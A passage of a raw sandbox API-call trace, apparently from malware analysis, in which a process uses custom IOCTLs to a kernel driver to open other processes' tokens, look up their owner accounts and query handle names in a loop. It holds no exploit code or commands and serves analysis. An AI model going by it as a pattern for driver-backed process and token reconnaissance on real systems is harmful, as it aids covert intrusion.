ProcessId=0xae0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.428] PsAcquireProcessExitSynchronization () returned 0x0 [0114.428] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880055905d0) [0114.428] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.428] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.428] PsReleaseProcessExitSynchronization () returned 0x2 [0114.428] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0114.428] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.429] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.429] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.429] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.429] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaf0) returned 0xc0 [0114.429] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.429] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002146b30, HandleInformation=0x0) returned 0x0 [0114.429] ObOpenObjectByPointer (in: Object=0xfffffa8002146b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.429] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x12 [0114.429] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa800293a180 | out: TokenHandle=0xfffffa800293a180*=0xc8) returned 0x0 [0114.429] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.429] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.429] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.429] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.431] CloseHandle (hObject=0xc8) returned 1 [0114.431] CloseHandle (hObject=0xc0) returned 1 [0114.431] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.431] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.431] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.431] PsAcquireProcessExitSynchronization () returned 0x0 [0114.431] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880055905d0) [0114.431] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021449e0, HandleInformation=0x0) returned 0x0 [0114.431] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.431] PsReleaseProcessExitSynchronization () returned 0x2 [0114.431] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0114.431] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.431] ObfDereferenceObject (Object=0xfffffa80021449e0) returned 0x1 [0114.431] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.431] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.431] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.431] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0114.431] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.432] PsAcquireProcessExitSynchronization () returned 0x0 [0114.432] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880055905d0) [0114.432] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021485e0, HandleInformation=0x0) returned 0x0 [0114.432] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.432] PsReleaseProcessExitSynchronization () returned 0x2 [0114.432] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0114.432] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.432] ObfDereferenceObject (Object=0xfffffa80021485e0) returned 0x1 [0114.432] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.432] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.432] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.432] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.432] PsAcquireProcessExitSynchronization () returned 0x0 [0114.432] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880055905d0) [0114.432] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.432] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.432] PsReleaseProcessExitSynchronization () returned 0x2 [0114.432] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0114.432] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.432] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.432] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.432] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.432] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb00) returned 0xc0 [0114.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.432] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002151560, HandleInformation=0x0) returned 0x0 [0114.432] ObOpenObjectByPointer (in: Object=0xfffffa8002151560, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.433] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x12 [0114.433] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa800293a180 | out: TokenHandle=0xfffffa800293a180*=0xc8) returned 0x0 [0114.433] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.433] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.433] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.433] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.434] CloseHandle (hObject=0xc8) returned 1 [0114.434] CloseHandle (hObject=0xc0) returned 1 [0114.434] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.434] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.434] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.434] PsAcquireProcessExitSynchronization () returned 0x0 [0114.434] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880055905d0) [0114.434] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002151e90, HandleInformation=0x0) returned 0x0 [0114.435] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.435] PsReleaseProcessExitSynchronization () returned 0x2 [0114.435] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0114.435] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.435] ObfDereferenceObject (Object=0xfffffa8002151e90) returned 0x1 [0114.435] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.435] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.435] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.435] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0114.435] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.435] PsAcquireProcessExitSynchronization () returned 0x0 [0114.435] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880055905d0) [0114.435] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002155f20, HandleInformation=0x0) returned 0x0 [0114.435] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.435] PsReleaseProcessExitSynchronization () returned 0x2 [0114.435] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0114.435] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.435] ObfDereferenceObject (Object=0xfffffa8002155f20) returned 0x1 [0114.435] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.435] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.435] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.435] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.435] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.435] PsAcquireProcessExitSynchronization () returned 0x0 [0114.435] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880055905d0) [0114.435] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.435] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.436] PsReleaseProcessExitSynchronization () returned 0x2 [0114.436] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0114.436] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.436] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.436] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.436] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.436] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb10) returned 0xc0 [0114.436] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.436] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020fdb30, HandleInformation=0x0) returned 0x0 [0114.436] ObOpenObjectByPointer (in: Object=0xfffffa80020fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.436] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x12 [0114.436] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa800293a180 | out: TokenHandle=0xfffffa800293a180*=0xc8) returned 0x0 [0114.436] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.436] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.436] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.436] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.437] CloseHandle (hObject=0xc8) returned 1 [0114.438] CloseHandle (hObject=0xc0) returned 1 [0114.438] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.438] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.438] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.438] PsAcquireProcessExitSynchronization () returned 0x0 [0114.438] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880055905d0) [0114.438] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001ed4070, HandleInformation=0x0) returned 0x0 [0114.438] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.438] PsReleaseProcessExitSynchronization () returned 0x2 [0114.438] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0114.438] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.438] ObfDereferenceObject (Object=0xfffffa8001ed4070) returned 0x1 [0114.438] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.438] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.438] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.438] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x9e, lpOverlapped=0x0) returned 1 [0114.438] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.438] PsAcquireProcessExitSynchronization () returned 0x0 [0114.438] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880055905d0) [0114.438] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020fd070, HandleInformation=0x0) returned 0x0 [0114.438] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.438] PsReleaseProcessExitSynchronization () returned 0x2 [0114.438] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0114.438] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.438] ObfDereferenceObject (Object=0xfffffa80020fd070) returned 0x1 [0114.439] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.439] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.439] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.439] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.439] PsAcquireProcessExitSynchronization () returned 0x0 [0114.439] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880055905d0) [0114.439] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.439] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.439] PsReleaseProcessExitSynchronization () returned 0x2 [0114.439] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0114.439] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.439] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.439] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.439] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.439] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb20) returned 0xc0 [0114.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.439] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002117b30, HandleInformation=0x0) returned 0x0 [0114.439] ObOpenObjectByPointer (in: Object=0xfffffa8002117b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.439] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x12 [0114.439] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa800293a180 | out: TokenHandle=0xfffffa800293a180*=0xc8) returned 0x0 [0114.439] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.439] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.439] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.439] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.441] CloseHandle (hObject=0xc8) returned 1 [0114.441] CloseHandle (hObject=0xc0) returned 1 [0114.441] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.441] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.441] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.441] PsAcquireProcessExitSynchronization () returned 0x0 [0114.441] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880055905d0) [0114.441] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, 